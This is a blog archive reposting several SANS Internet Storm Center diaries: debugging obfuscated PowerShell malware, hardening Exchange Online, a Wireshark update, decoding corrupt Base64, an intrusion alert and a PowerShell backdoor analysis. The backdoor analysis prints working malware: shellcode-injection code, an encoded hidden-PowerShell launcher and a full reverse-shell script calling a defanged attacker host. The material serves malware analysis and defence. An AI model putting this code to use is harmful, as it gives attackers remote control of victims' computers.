Blog

Archive for September 28th, 2020

Party in Ibiza with PowerShell, (Thu, Sep 24th)

Today, I would like to talk about PowerShell ISE or “Integration Scripting Environment”[1]. This tool is installed by default on all Windows computers (besides the classic PowerShell interpreter). From a malware analysis point of view, ISE offers a key feature: an interactive debugger! It provides all the classic features that you can expect from a debugger: breakpoints, step in, step over, step out, … all of these features are available while you keep control of the environment to interact with the script through the help of other PowerShell commands. When you’re facing a strongly obfuscated scripts, you could speed up the analysis with the help of carefully placed breakpoints. Let’s have a look at a practical example.

The malicious script that I’d like to use contains a lot of references to “Ibiza” (hence the title of this diary). The script has a VT score ot 9/60 (SHA256:ead30df7867c2bcb99de71c1686e82d49c6fcc3ba00092a9fc8d878b78c62302).

/! Warning: Do NOT debug malicious scripts on sensitive or corporate computers, setup a lab to avoid mistakes and execute the script without breakpoint! /!

Let’s load the file into PowerShell ISE: (note: the file must have the extension .ps1 to be properly saved and debugged)

You can see that the script has some chunks of Base64 data (some of them based on format strings). This is confirmed via base64dump:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite base64dump.py 
ead30df7867c2bcb99de71c1686e82d49c6fcc3ba00092a9fc8d878b78c62302.ps1 -n 100
ID  Size    Encoded          Decoded          MD5 decoded
--  ----    -------          -------          -----------
 1:     172 bU3lzdGVtLk11bHR mM?????5????? a3373aca7480f0fd3063e6f3bd3d3bce
 2:     172 Ww6R2V0LURlbGVnY [.??].Q.[.Y?].U. b9b01945b37903a46b09c46dd27b3d19
 3:     204 kludm9rZSgkaFByb ?[????J....???? 1ee694694f746acda3ebcd9cadf650cc
 4:     136 dG8gdGhlIHJ1bm5p to the running P 1a41aab7dc9e6680fee5de37d0c31243
 5:     156 0sIFtVaW50MzJdLC ??.?V??C3%??.?T? edc0526f5004950bfecf715f71f5217c
 6:   70504 76492d1116743f04 ?=??u????8?~5? a2c38d7f5e380d0111f1b55d90986fa0

You see that the first Base64 payload is based on a concatenation of strings. Let’s decode this from PowerShell ISE.

First, define a breakpoint via the menu “Debug / Toggle a breakpoint” or press F9. Where? By reading the script, you see that a good candidate is line 13 because, at line 12, we see a reference to Base64String. Once the breakpoint set, the line color is switched to red:

Now, launch the script via the menu ‘Debug / Run / Continue” or press F5. Once the debugger reached the breakpoint, it displays a message on the console and the line becomes yellow. We can interact with the script and use more PowerCommand to, by example, display the content of variable or, better, dump it into a file for further analysis:

We now see the decoded Base64 data. It’s a new set of PowerShell instructions! Let’s dump them into a file:

With the help of WriteAllBytes(), we dump the contain of $PARtYINVITEpREtTY into a file ‘payload.ps1’.

Let’s have a look now at line 18. It refers to an object ‘manaGEMeNT.AUtomatiON.pScreDENtial’ which is used to store encrypted data (I wrote a diary about this technique[2]). Let’s decode this! Stop the debugger, remove all breakpoints. At the end of line 18, you see that the extracted code is executed with an ‘IEX’ command (“Invoke-Expression”). Replace ‘iex’ with ‘echo’, put a breakpoint at line 20 (we can’t set a breakpoint on a blank line), and launch the debugger again:

Once again, we see a new bunch of PowerShell instructions (that are normally executed). Copy this code and paste it into a new tab. To be able to debug it, save it as ‘payload2.ps1’. Tthe code is executed by IEX (obfuscated and marked in the red rectangle):

The code is nicely obfuscated but we won’t take too much time on this. Just execute the code without any breakpoint and have a look at the new variables. We have two interesting ones: ‘$Shellcode32’ and ‘$Shellcode64’. We use the same technique to dump the shellcode into a file:

And we have a shellcode! The next step will be to have a look at this shellcode!

The first chunk of Base64 data that we decoded contains a framework used to perform injection of code into another process:

function Create-Party-Invite
{
 Create-Party-Invite -Shellcode @(0x00,0x00,0x00)
#>

[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
    [ValidateNotNullOrEmpty()]
    [UInt16]
    $ProcessID,
    [Parameter( ParameterSetName = 'RunLocal' )]
    [ValidateNotNullOrEmpty()]
    [Byte[]]
    $Shellcode,
    [Switch]
    $Force = $False
)
...

This code is just a fork of some PowerSpoit code[3]. Note also that the injected process is a ‘colorcpl.exe’ launched by the script.

Conclusion: PowerShell ISE is a great tool to investigate malicious scripts! It could save you a lot of time.

[1] https://docs.microsoft.com/en-us/powershell/scripting/windows-powershell/ise/introducing-the-windows-powershell-ise?view=powershell-7
[2] https://isc.sans.edu/forums/diary/Powershell+Payload+Stored+in+a+PSCredential+Object/26058
[3] https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Securing Exchange Online [Guest Diary], (Fri, Sep 25th)

[This is a guest diary by Jason Dance]

Preamble

Email poses an increasingly attractive vector for criminals to exploit. Most inboxes contain some form of confidential information, whether it is chatter about new products, sensitive information between C-suite members or vendor payment authorization emails from the finance department. Unauthorized access into email servers/inboxes is known as Business Email Compromise and is one of the most financially damaging online crimes.

Microsoft Office 365 usage is accelerating at an ever-increasing pace and adoption shows no signs of slowing. With the impending expiry of Exchange 2010 extended support, the need to provide email to the remote workforce during the COVID-19 pandemic, or the simple allure of no longer needing to manage email servers; more businesses are moving their email services to Exchange Online in the Microsoft Office 365 suite.

The shared security model adopted by most cloud service shifts a portion of securing data to the customer. Microsoft is no different in this respect, and they have published their security support matrix here: https://docs.microsoft.com/en-us/azure/security/fundamentals/shared-responsibility. In this model, Microsoft will protect the platform by securing access to the physical components, making sure the underlying operating systems and applications have the latest patches and providing the customer the ability to apply additional data and configuration controls. The customer is then responsible for managing identity, defining access to data, and maintaining the configuration of the service to meet the security needs of their organization.

The base configuration of Exchange Online is set to allow quick onboarding of customers with minimal barriers to the smooth migration of email into the service. The configuration does require tweaks to in order to make it more secure. I aim to cover some of the more effective tweaks in this document and point the reader to the right documentation to secure their Exchange tenant.

Targeted readers

The information in this document is for all administrators and engineers that are responsible for securing Exchange Online. While somewhat technical in nature, each headline in this document can be used by non-technical people as a conversation starter with their technology team.

Not Included

Exchange Online has many settings and features. Some are large enough to merit a separate document on their own, and others are accessible only through scripting/coding. With this in mind, the following topics are not addressed in this document: Data Loss Prevention (DLP), Digital Rights Management (DRM), Advanced Threat Protection (ATP) and Advanced Message Encryption.

Securing Identity

Account takeover is one of the most common forms of breach in Office 365. Malicious actors commonly take advantage of reused passwords that are leaked in breaches, and short, easy to guess passwords are easily broken by password spraying attacks. Criminals find this vector one of the easiest to exploit, so here are some ways to make it harder for them to succeed.

Identity source. The following four authentication methods are available:

  • Cloud only
  • Directory sync with password hash
  • Directory sync with pass through authentication
  • Directory sync with Active Directory Federation Services

Most businesses migrate from an on premise Exchange system into Exchange Online and will already have Microsoft Active Directory (AD) in place. Part of the migration process is to synchronize identities from Active Directory into Azure AD for use in Office 365. Note that to use Azure AD connect to synchronize identities, you will need to have an Azure AD premium P1 or P2 license. Microsoft has published this handy guide to help the implementer decide which path is better for their organization https://docs.microsoft.com/en-us/azure/active-directory/hybrid/choose-ad-authn#decision-tree

Azure AD has a number of features you can use to detect and block risky login. Many of the premium features require the password hash to be synchronized into Azure AD and work best when business users log in with the Microsoft Azure authentication portal. As Active Directory Federation does not synchronize the hash to Azure AD, many of the protections offered with Azure AD identity are not available with this authentication method.

Multifactor Authentication (MFA). There are two forms of MFA supported in Office 365:

  • Office 365 MFA: this is managed through the Office 365 Admin portal, and is available to any consumer of the service.
  • Azure Active Directory (Azure AD) MFA: this is managed through the Azure AD blade in the Azure Portal, and offers tight integration into other security services.

Both types support application based push notifications (Approve / Deny), text message (SMS) and voice based One-time Passcodes (OTP). While the consensus in the security community is that SMS and voice based OTP are not secure, the use of any MFA will raise security significantly, and having some form of MFA is better than having none at all. Where possible, use application based push notifications as a second factor.

Microsoft outline the pros and cons of each service in this document. They also include links to further documentation on how to enable each type of MFA. https://docs.microsoft.com/en-us/azure/active-directory/authentication/concept-mfa-licensing#available-versions-of-azure-multi-factor-authentication

The Azure AD version of MFA offers extra protection when you include the use of Conditional Access (Azure P1 license) or Risk Based Conditional Access (Azure P2 license).

Conditional Access. Configuring conditional access specifies the conditions that must be satisfied before allowing use of the service.

While it can be somewhat tricky to do the initial configuration, it is worth the time as you can require a combination of conditions be present like: Trusted IP addresses, AD domain joined / Intune Compliant, type of app (legacy, browser, compliant app), MFA, Device type (Android, Windows, iOS), users/groups.

To make it easier to implement new policies, Microsoft added a “Report Only” toggle that allows you to test out your policies before enforcing them. There is also a “What if” feature that allows you to validate some combinations of conditions without needing to build the policy first.

More information on how to put together a Conditional Access policy is located here: https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/concept-conditional-access-policies

Azure AD Identity Protection. Requiring a Premium Azure AD license (P1 or P2), this service adds additional reporting of risky logins, which can help raise awareness of potentially compromised logins.

Here is a guide on how to turn this feature on: https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-configure-notifications

Azure AD Password Protection. You can use this feature to restrict the use of easy to guess passwords along with their common letter substitutions. If you have P1 or P2 premium licensing, you can also extend this protection into your on premise Active Directory domain by installing an agent on your domain controllers. With the additional license, you also gain the ability to upload a custom word list for blocking commonly guessed passwords.

Here is the Microsoft document on this feature: https://docs.microsoft.com/en-us/azure/active-directory/authentication/concept-password-ban-bad

Limit Global / Exchange Administrators. Criminals that attack Azure AD / Exchange online tenants are themselves very competent Azure Administrators.

Limit the exposure by reducing the number of accounts in privileged roles (like the Global / Exchange Administrator roles) by using Privileged Identity Management (Azure P2), or by moving accounts into lower privileged groups (like Global Reader).

Make sure that any accounts that remain in those roles have MFA enabled. A “break-glass” administrator account should not have MFA enabled, and needs to have a long and complex password stored in a physical safe.

Securing Exchange Online

Exchange Online contains many different vectors of attack. Examples can include group spam, persistent access for email account compromise, all the way to the spoofing of your CEOs email address. Here are some ways to increase security in Exchange Online.

Disable third party app integration. Allowing end users to approve the use of Office 365 apps potentially allows malicious persistent access to their email mailbox.  Use the following document to turn this feature off to mitigate this risk. https://docs.microsoft.com/en-us/microsoft-365/admin/misc/integrated-apps?view=o365-worldwide#turning-user-consent-on-or-off

If you have had this feature enabled in your tenant for a while, an Administrator should review the list of applications that have already been granted access in Azure AD, and remove any that do not have a valid business justification. https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-illicit-consent-grants?view=o365-worldwide#steps-for-using-the-azure-active-directory-portal

Disable auto-forwarding email.  If a criminal gains access to a user’s mailbox, they can configure auto-forwarding rules to redirect email from the users inbox to a criminally controlled outside email address. Well-meaning employees, who may set up forwarding of company data into personal email services while trying to increase convenience of use. Exploited more often in business email compromise attacks, auto-forwarding allows the criminal to exfiltrate sensitive data, mask their presence, and maintain some level of persistence after credentials are changed.

Three ways to mitigate this attack are outlined in this article: https://techcommunity.microsoft.com/t5/exchange-team-blog/the-many-ways-to-block-automatic-email-forwarding-in-exchange/ba-p/607579

Enable notifications. Email alerts can be set up to trigger when risky activity is detected. Go to https://protection.office.com/alertpolicies and at minimum, enable the following rules:

  • Creation of forwarding/redirect rule
  • Impossible travel activity
  • Elevation of Exchange admin privilege
  • Users targeted by phish campaigns
  • Phish (High Confidence) Detected during delivery

You can see alerts that were triggered by going to https://protection.office.com/viewalerts, but note that more detail on each event is actually located in the Cloud App Security portal https://portal.cloudappsecurity.com/#/alerts

Mark external emails with a banner. You can add text to an email if the sender originates from outside of your organization. This is useful to highlight inbound messages from external senders, especially spoofed emails from “the CEO”.

The basic steps to enable this feature are:

  • In the Exchange admin center, navigate to Mail Flow and create a new rule called “External Mail Warning”.
  • Set the rule as follows:
    • Set “Apply this rule if…” > The sender is located…  > Outside the organization
    • Click “More Options…. at the bottom of the rule dialog
    • Set “Do the following…” > Prepend the disclaimer… > Add text (or HTML if you want it to stand out).
    • Set “Choose a mode for this rule” > Enforced.

Disable Legacy Authentication. Basic Authentication (aka Legacy Authentication) is used by older applications like Outlook 2010 and earlier versions of Exchange Online PowerShell, and older protocols like POP3 and IMAP. This type of authentication attracts password spraying and credential stuffing attacks because MFA is not inserted as a further barrier.

First, you need to turn on Modern Authentication, and then monitor Azure AD Sign In blade for legacy “Client Apps”. Once you have migrated the users of those legacy applications to their modern counterparts, you can either use Conditional Access to block access to legacy applications, disable use of specific protocols, or disable basic authentication for Exchange Online altogether.

Enable Modern Authentication: https://docs.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/enable-or-disable-modern-authentication-in-exchange-online

Monitoring Sign-Ins for Legacy app authentication: https://techcommunity.microsoft.com/t5/azure-active-directory-identity/new-tools-to-block-legacy-authentication-in-your-organization/ba-p/1225302

Block Legacy authentication by app with Conditional Access: https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/block-legacy-authentication

OR:

Disable Legacy Authentication: https://docs.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/disable-basic-authentication-in-exchange-online

OR:

Disable individual protocols on individual mailboxes: https://docs.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/pop3-and-imap4/enable-or-disable-pop3-or-imap4-access

Disable app passwords. App passwords allow a user to create one or more passwords for use with non-browser applications that do not support Modern Authentication. Leaving this setting enabled is risky. Criminals use this feature to maintain persistent connectivity on compromised email accounts, and app passwords are not subject to the expiry policies applied to Azure AD or Active Directory on premise.

The feature can be disabled from either the Azure or Office 365 Admin portal:

Azure Portal:

    • Go to https://portal.azure.com
    • Click on blade Azure Active Directory
    • Navigate to Users > All users
    • Click Multi-Factor Authentication
    • Click “service settings”
    • Under app passwords, select “Do not allow users to create app passwords to sign in to non-browser apps”

Office 365 Portal:

    • Go to https://admin.microsoft.com
    • Click on Settings > Org settings
    • Locate and click Multi-factor authentication, then Configure multi-factor authentication
    • Click “service settings”
    • Under app passwords, select “Do not allow users to create app passwords to sign in to non-browser apps

Enable Mobile Device quarantine. While Intune and Conditional Access offer a seamless way to control access to email on a mobile device, they are only available for tenants licensed with P1 and P2, or have an enterprise mobility license. Exchange Online has a feature that allows you to quarantine mobile device connections to Exchange.

To enable the feature, open the Exchange admin center, navigate to Mobile, and create a rule to cover the device types you want to control.

Enable Mailbox Level auditing.  Mailbox auditing keeps a 90-day log of connections to mailboxes and the actions performed. Use this document to learn how to turn on auditing: https://docs.microsoft.com/en-us/Exchange/policy-and-compliance/mailbox-audit-logging/enable-or-disable?view=exchserver-2019#enable-or-disable-mailbox-audit-logging

Enable Sender Policy Framework (SPF). SPF helps email administrators by reducing spoofed emails for their email domains. The key to enabling this feature is knowing about all email sources that could send email for your domain. Examples include internal email servers that send to outside recipients, Office 365, your marketing email provider and antispam solutions.

Once you have collected this information, you can use online SPF generators to create the record, and then you can apply the suggested TXT record change to your public DNS zone.

Note: If you maintain a split DNS zone (same domain name maintained internally and externally on different DNS servers), you will need to make sure both zones are updated with the TXT record.

Enable Domain Keys (DKIM) and DMARC.   DKIM provides a way to verify the sender of the email. The sender does not have to match the From information, it’s more about the server responsible for sending the email.

Like with SPF, you need to find all sources of emails from your domains, make sure they support DKIM, turn on the feature and publish the signature generated by DKIM for that mail source into the relevant DNS TXT record. Each mail source will have its own signature, and you will have one DNS record per mail source. If the mail sources support it, you can import a single signature in the TXT record.

DMARC allows other email systems to validate that the signature matches the one advertised for the originating mail server, and take the action prescribed in the DNS DMARC record.

DKIM: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/use-dkim-to-validate-outbound-email?view=o365-worldwide

DMARC: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/use-dmarc-to-validate-email?view=o365-worldwide

Limit Calendar Sharing. If anonymous calendar sharing is enabled, your users can share the full details of their calendars with external, unauthenticated users. Calendars contain enough information to help attackers understand organizational relationships, gather information intended for internal parties, and determine when specific users may be travelling or more vulnerable to an attack.

To disable anonymous sharing:

Restrict email from outside senders to sensitive groups. Criminals can distribute malicious emails to your employees via the use email Groups. Your sensitive groups should be set to block mail originating outside of your organization. Pay particular attention to groups that have less characters in the user part of the email address (before the @ symbol). There is a good chance that spam engines already found them by cycling through letter combinations.

  • In the Exchange admin center, navigate to Recipients and then Groups.
  • Open each sensitive group, click on “delivery management” and select “Only senders inside my organization”

Last thoughts

Some features require more work to configure properly, while other features may cause varying amounts of change in end user workflow. With this in mind, here is my list of quick wins to increase Exchange Online security:

  • Enable MFA. Available in some form, regardless of the level you have purchased, it requires initial configuration, needs end user setup and introduces friction into the email login workflow. The security gained from this feature makes it well worth the effort, and end-users will eventually become accustomed to MFA use.
  • Disable third party app integration. No complex configuration required, and most users will not know that the feature exists.
  • Disable auto-forwarding email. This is very easy to do and shuts down a very commonly used method of persistence and data exfiltration.
  • Enable notifications. Configured correctly, you will get alerts when a compromise is detected. You can then follow up with the appropriate incident response.
  • Mark external emails with a banner. Providing visibility to end users will enable them to more easily identify spoofed emails from “their CEO”.
  • Above all, please communicate with your email users and listen to what they have to say! Announcing service adjustments ahead of time will allow them time to wrap their minds around the changes coming at them, and it is better to have them as champions rather than an insider threat. Ultimately, they are your last line of defense, so treat them fairly and keep them up to date with what you are doing to keep them and their email safe!

Implementing the features and controls listed in this document will help your organization raise the bar against criminals seeking access to the sensitive data in your email environment. I hope this document helps you to increase the security of your Microsoft Exchange Online tenant.

I would like to thank Jim, Ryan, Evan, Kenni and the 7MS Slack Blueteam members for all of their valuable contributions to this document.

Finally, you should be able to find an updated copy of this document at the following link: https://github.com/systeminsecure/public_documents/blob/master/Securing%20Exchange%20Online.pdf

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Wireshark 3.2.7 Released, (Sun, Sep 27th)

Wireshark version 3.2.7 was released.

It has vulnerability and bug fixes.

One of the vulnerabilities (CVE-2020-25862) can be abused to cause a crash in the TCP dissector.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Decoding Corrupt BASE64 Strings, (Sun, Sep 27th)

I was asked to help with the decoding of a BASE64 string that my base64dump.py tool could not handle.

The issue was the following: this particular BASE64 string was corrupt, its length was not a multiple of 4. In BASE64, 64 characters are used to do the encoding: each BASE64 character represents 6 bits. When one byte (8 bits) is encoded, 2 BASE64 characters are needed (6 + 2 bytes). To indicate that the last 4 bits of the second BASE64 character should be discarded, 2 padding characters are added (==).

For example, the ASCII character I (8 bits) is represented by 2 BASE64 characters (SQ) followed by 2 padding characters (==). This gives SQ==: 4 bytes long.

When 2 bytes are encoded (16 bits), 3 BASE64 characters are needed (3 * 6 = 18 bits) and 2 bits should be discarded (one padding character =), thus 4 characters are used.

And when 3 bytes are encoded (24 bits), 4 base64 characters are needed (4 * 6 = 24 bits).

Conclusion: valid BASE64 strings have a length that is a multiple of 4.

 

My tool base64dump.py can handle BASE64 strings that have a length that is not a multiple of 4.

Here is an example. BASE64 string 12345678 is 8 characters long:

base64dump.py is able to recognize this BASE64 string, and decode it.

Let’s add one character, resulting in a BASE64 string with a length that is not a multiple of 4 (length of 9 characters):

base64dump.py does not recognize this BASE64 string.

We can help base64dump.py to recognize this string, by using option -p. This option takes a Python function, that will be used to process the detected strings before they are decoded. In this case, we will use Python function L4, a function I defined: it truncates strings to a length that is a multiple of 4.

Using this function L4 with option -p, we can decode the corrupt string:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Some Tyler Technologies Customers Targeted with The Installation of a Bomgar Client, (Mon, Sep 28th)

One of our readers, a Tyler Technologies’s customer, reported to us that he found this morning the Bomgar client[1] (BeyondTrust) installed on one of his servers. There is an ongoing discussion on Reddit with the same kind of reports[2].

On September 23rd, Brian Krebs posted an article about an attack against Tyler Technologies[3]. Yesterday, the post was updated with the following communication from Tyler Technologies:

We apologize for the late-night communications, but we wanted to pass along important information as soon as possible. We recently learned that two clients have report suspicious logins to their systems using Tyler credentials. Although we are not aware of any malicious activity on client systems and we have not been able to investigate or determine the details regarding these logins, we wanted to let you know immediately so that you can take action to protect your systems

If you’re also one of their customers, it could be interesting to have a look at suspicious remote access.

[1] https://www.beyondtrust.com/remote-support/features/jump-clients-remote-access
[2] https://www.reddit.com/r/k12sysadmin/comments/iyw2ve/tyler_technologies_ransomware_attack/
[3] https://krebsonsecurity.com/2020/09/govt-services-firm-tyler-technologies-hit-in-apparent-ransomware-attack/

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

PowerShell Backdoor Launched from a ShellCode, (Mon, Sep 28th)

When you need to perform malicious actions on a victim’s computer, the Internet is full of resources that can be reused, forked, slightly changed to meet your requirements. After all, why reinvent the wheel if some pieces of code are available on GitHub for free? If you developed some offensive tools for good reasons (because you’re a pentester, a red teamer of just doing some research), chances are high that your code will be reused.

Here is a practical example found in the wild. The initial PowerShell script has a VT score of 8/59 (SHA256:f4a4fffaa31c59309d7bba7823029cb211a16b3b187fcbb407705e7a5e9421d3). The script is not heavily obfuscated but the technique used is interesting. It uses the CSharpCodeProvider[1] class:

$nTlW = New-Object Microsoft.CSharp.CSharpCodeProvider
$cUj0x = New-Object System.CodeDom.Compiler.CompilerParameters
$cUj0x.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
$cUj0x.GenerateInMemory = $True
$zgA = $nTlW.CompileAssemblyFromSource($cUj0x, $dn)

The code above compiles on the fly some code to allow code injection. This is not the first time that I write about this technique[2], like malware compiling code on the fly[3]. Let’s have a look at the injection code:

$fH3rI = [y5SR.func]::VirtualAlloc(0, $u4O.Length + 1, [y5SR.func+AllocationType]::Reserve -bOr [y5SR.func+AllocationType]::Commit, [y5SR.func+MemoryProtection]::ExecuteReadWrite)
if ([Bool]!$fH3rI) { $global:result = 3; return }
[System.Runtime.InteropServices.Marshal]::Copy($u4O, 0, $fH3rI, $u4O.Length)
[IntPtr] $ay = [y5SR.func]::CreateThread(0,0,$fH3rI,0,0,0)
if ([Bool]!$ay) { $global:result = 7; return }
$p0vZ = [y5SR.func]::WaitForSingleObject($ay, [y5SR.func+Time]::Infinite)
  1. A new memory region is allowed in the current process environment (the PowerShell interpreter) via VirtualAlloc(). The most important parameter is ‘ExecuteReadWrite’ (the famous 0x40 value)
  2. The shellcode is copied into the newly allocated memory via Copy()
  3. A new threat is created via CreateThreat()
  4. To now block the parent threat, WaitForSingleObject() is called

Let’s have a look at the shellcode. It’s a Base64-encode chunk of data:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite base64dump.py f4a4fffaa31c59309d7bba7823029cb211a16b3b187fcbb407705e7a5e9421d3.dms -n 100 -s 1 -S
;}$u
D$$[[aYZQ
powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-
Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,
[System.Convert]::FromBase64String('H4sIADeXAV8CA51WW2/bNhR+9684cLVaQixCCTCgCJBirpJuAdLWqLzlwTAQWjqOtcikRlK+LPF/
LylRF8cJukwvtsjD73znOxfqHYz5BsWiYODDrUiVQgbzHXzSP5NCMBTwHi7pGuEPKpJdr6ctY5VyBr+j8m9xHmcpMgW9xx7ox9nEcAFfceN/m/+N
sQJ/ssvxK12hXlRE24elfW1M/pR4iQtaZCoUmOidlGZSQzhKFNhYjQXf7sgzC73eWalte/uWYl6H1nuEcn9MBV251f9ppETK7mdOyFcrypLh4Wok
s5izZ4uXfMMyTpNy1bOYgscoJVgBVjwpMjQEf3M9qEzSBbi1G/DxH+jPU5b0vXKzOleezVKp5deSX2iXO/1/RYxqEY8fUEkyifMbazH7EHwIjg8S
qahQxq/1XO7aFF107EZxjLnSgFU63IrK/jW6AtcoJB4zbqA7KX+JeTi2jvp5cvrvnLCsPzQhWL+9SjupBNKVIVrhEl1jUbmmCbbUqtRUzEyZ9G0m
OrykzKIa7BVqGBe63Hckqk1d63/oLHQ94dB9dCYafQ8+lTA9OPMdV1xhiEKlizSmCv+iWZpQU3QhzbI5jR9mnvcCHTIq1NJUrDk0kkeieJ20tWq0
0XTlms53CqezmWN+TcEFhJwF+nn65THYW0WRJfW2O1W4VQRZzBNTzefnoyi8vvaMyp+Mjdu/1WXJN7KaCdESswxEwZi2Bq1BIXVp9uEEHGTrc/PG
TGOf6DWdjmYj5qu8UO3mHQt5vhPp/VKBG3pwFpz+Cl/SWHDJFwpCLnIuSu0IjIxHYylBoHawxoTcsTtmK89qQsygQreNbhgM2xdyg+xeLbsVU/dt
t2aOSuZtUk1PZnCjIY02tudJw/PtXOtTn7m4ovFSc65AIWXNTGmtWtrmcQ9GsUfqaKupVSN5T9dszR/Qv9rmWlup9W5Q9odt+CYlBuMIBjrPJYsb
HpeZ9MiYqqVeHXwc/O/UbZZphq7rpGUPVMe/I03cquKHEAzBOTjngc8QgqPcXhn6mEx0KK9dT3Y0GBNShnhlQ25RdINTQ6WDZidUKXMdDjip96ys
9DwwWh4lAPx6zFbgZx/fn8ITfCuUX6GCleIA6gxKQWpgLfJPUgCDFmRriDgoBBfTYHbgrMO63CdxhlS43ksMLrovuvG3veNO+k/l08L8tHW6pXLU
OPWZz1khl83Na8egvU7CjEu08bR3YaR4Xl+A+uuh13w1NMmx1x/49uYxA+QH7Wza3jkJAAA='))),
[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

The shellcode is simple to understand, it used WinExec() to launch another PowerShell command which decodes more Base64-encoded data, unzips it, and executes it. Let’s look at it in scdbg:

Here is the code PowerShell code executed in the injected threat:

# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient 
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun 
{ 
    Param( 
    [String]$Command,
    [String]$Sslcon,
    [String]$Download
    ) 
    Process {
    $modules = @()  
    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]8080
        $listener.start()    
        $client = $listener.AcceptTcpClient()
    } 
    if ($Command -eq "reverse")
    {
        $client = New-Object System.Net.Sockets.TCPClient("pd1zb[.]nl",8080)
    }

    $stream = $client.GetStream()

    if ($Sslcon -eq "true") 
    {
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
        $sslStream.AuthenticateAsClient("pd1zb[.]nl") 
        $stream = $sslStream 
    }

    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }

    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()  
    }
    $client.Close()
    $listener.Stop()
    }
}

powerfun -Command reverse -Sslcon true

The backdoor can be found on this github.com repository:  davehardy20/PowerShell-Scripts[4]. The next question is: why to perform process injection of a PowerShell script into the initial PowerShell process? Probably to improve the obfuscation, this is confirmed by the low VT score!

[1] https://docs.microsoft.com/en-us/dotnet/api/microsoft.csharp.csharpcodeprovider?view=dotnet-plat-ext-3.1
[2] https://isc.sans.edu/forums/diary/Malicious+PowerShell+Compiling+C+Code+on+the+Fly/24072
[3] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278
[4] https://github.com/davehardy20/PowerShell-Scripts

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →